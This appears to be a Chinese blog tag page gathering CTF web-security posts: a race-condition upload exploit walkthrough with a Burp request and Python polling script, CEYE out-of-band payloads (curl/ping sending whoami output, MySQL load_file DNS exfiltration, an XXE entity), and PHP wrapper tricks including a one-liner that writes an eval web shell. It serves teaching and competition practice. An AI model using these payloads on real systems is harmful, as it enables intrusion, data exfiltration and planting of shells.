标签 ctf 下的文章

Race Conditions - web中的条件竞争

相关背景介绍

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

成因

下面以相关操作逻辑顺序设计的不合理为例,具体讨论一下这类问题的成因。在很多系统中都会包含上传文件或者从远端获取文件保存在服务器的功能(如:允许用户使用网络上的图片作为自己的头像的功能),下面是一段简单的上传文件释义代码:

<?php
  if(isset($_GET['src'])){
    copy($_GET['src'],$_GET['dst']);
    //...
    //check file
    unlink($_GET['dst']);
    //...
 }
?>

这段代码看似一切正常,先通过copy($GET['src'],$GET['dst'])将文件从源地址复制到目的地址,然后检查$GET['dst']的安全性,如果发现$GET['dst']不安全就马上通过unlink($_GET['dst'])将其删除。但是,当程序在服务端并发处理用户请求时问题就来了。如果在文件上传成功后但是在相关安全检查发现它是不安全文件删除它以前这个文件就被执行了那么会怎样呢?

假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。

由上述过程我们可以看到这种“先将猛兽放进屋,再杀之”的处理逻辑在并发的情况下是十分危险的,极易导致条件竞争漏洞的发生。

攻击方式及危害

仍以上述情境为例,攻击者通过不断地发起访问上传的恶意文件请求的方法成功的将原有处理不安全文件

上传文件E→删除不安全文件E
的业务逻辑变成了

上传文件E→访问执行文件E,生成shell文件S→删除不安全文件E
不安全文件E虽然被删除了,但是有它生成出来的shell文件S却保留在了服务器中,对攻击者来说这个shell文件S才是后续攻击的关键。

例子

cuntctf上传三

这个题目属于条件竞争的题目
具体来讲就是在文件上传之后你要赶在服务器把它删除之前访问一下这个文件就可以了
这个题目抓包的时候又在相应的php文件后缀进行了过滤,把php,php2,php3,php4,php5等都过滤掉了,直到试到phtml的时候回显出来一句话

这时候我们就发现文件被删了

条件竞争,我们一边burpsuit跑上传,一边python脚本访问(单线程即可)

burpsuit头如下

POST /challenge/web/uploadfile/upload.php HTTP/1.1
Host: 202.119.201.199
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://202.119.201.199/challenge/web/uploadfile/index.php
Content-Type: multipart/form-data; boundary=---------------------------114782935826962
Content-Length: 2442
Cookie: PHPSESSID=25q1p9k8g5fd41v08uj3kp1j60
Connection: close
Upgrade-Insecure-Requests: 1§§

-----------------------------114782935826962
Content-Disposition: form-data; name="file"; filename="youthol3.phtml"
Content-Type: image/png

python 脚本如下

#!/usr/bin/python
# Author:Archerx
# coding:utf-8

import requests
url = 'http://202.119.201.199/challenge/web/uploadfile/upload/youthol3.phtml'

while True:
    res = requests.get(url)
    if 'flag' in res.text:
        print(res.text)

护网杯 lpshop

买辣条也是条件竞争

而后是Mysql bigint型整数溢出。

参考

CEYE

简介

CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。

payload

Command Execution

i. *nix:
curl http://xxx.ceye.io/`whoami` 

ping `whoami`.xxx.ceye.io 
ii. windows
ping %USERNAME%.xxx.ceye.io

win的常用变量如下

//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。
iii.mysql常用语句
if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,1)

读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet

通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%';查看load_file()可以读取的磁盘。

  1. secure_file_priv为空,就可以读取磁盘的目录。
  2. secure_file_priv为G:,就可以读取G盘的文件。
  3. secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

iiiii.XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/xxe_test">
%remote;]>
<root/>

ctf中伪协议的考查

注:此文章已在合天智汇首发,禁止转载。

php://input协议

第一个例子

flag.php

<?php $flag = 'flag{flag_is_here}'; 

test1.php

<?php
include('flag.php');
$a = $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'this is test'){
    echo "success\n";
    echo $flag;
}
else{
    echo "error";
}

看上面php代码可知当读取文件的内容是this is test时才显示flag,我们并不知道那个文件有这个内容,我们可以使用php://这个协议
php://input可以得到原始的post数据,访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行,如下操作来绕过:

使用条件:

allow_url_fopen :off/on
allow_url_include:on

第二个例子,php://input实现代码执行

test1.php改为如下

<?php
$a = $_GET["a"];
include($a);

通过POST php代码实现代码执行

执行php代码?等一下那我是不是可以写入一句话? 试一下
POST 这段代码<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

注:只在php 5.2.17 下测试成功,其他均出现报错,原因未知。

php://filter/convert.base64-encode/resource=

看另外一个代码:

<?php
$a = $_GET['a'];
include($a);

如何显示flag.php的内容呢?直接包含是不会显示的,这时就要用到这个php://filter/convert.base64-encode/resource=取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on
allow_url_include:off/on


base64解密得到原始数据:

利用反序列化读取文件

借鉴2016 xctf 一道题的思路,代码被我简化了:

<?php
class flag{
    public $file;
    public function __tostring(){
        echo file_get_contents($this->file);
        return 'yes';
    }
}

$a = new flag();
$a->file = 'php://filter/convert.base64-encode/resource=flag.php';
$data = serialize($a);
echo $data.'<br>';
echo unserialize($data);

定义一个flag类,并重写了tostring(),我们先new 一个新对象,并给变量赋值,最后序列化一下。

假设在某个题目中序列化后变量是可控的而且我们知道类内容,那我们就可以通过可控变量实现任意文件读取,如上代码中,反序列化过程中实现了flag.php文件的读取

file://协议

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on
allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

前几天网鼎杯web 第二道题就是利用注入控制反序列化,file://协议读取本地文件

注:file://协议必须是绝对路径

zip://, bzip2://, zlib://协议

双off情况下正常使用

allow_url_fopen :off/on
allow_url_include:off/on

payload:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

phar协议

1.jpg是一个里面含有1.php的压缩包,改了后缀名,包含方法如下。

include.php?f=phar://./images/1.jpg/1.php

zlib://协议

使用方法:

compress.zlib://file.gz

绝对路径
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/1.jpg
相对路径
http://127.0.0.1/cmd.php?file=compress.zlib://./1.jpg

总结

上面只是最基础简单的例子,在ctf中要回活用,正所谓再难的题也离不开基础。

题外话:近来国内ctf比赛越来越趋向于国际化,pwn、re题目占了绝大部分,web题很少或者直接没有,作为一个web狗要坚强的走下去。

preView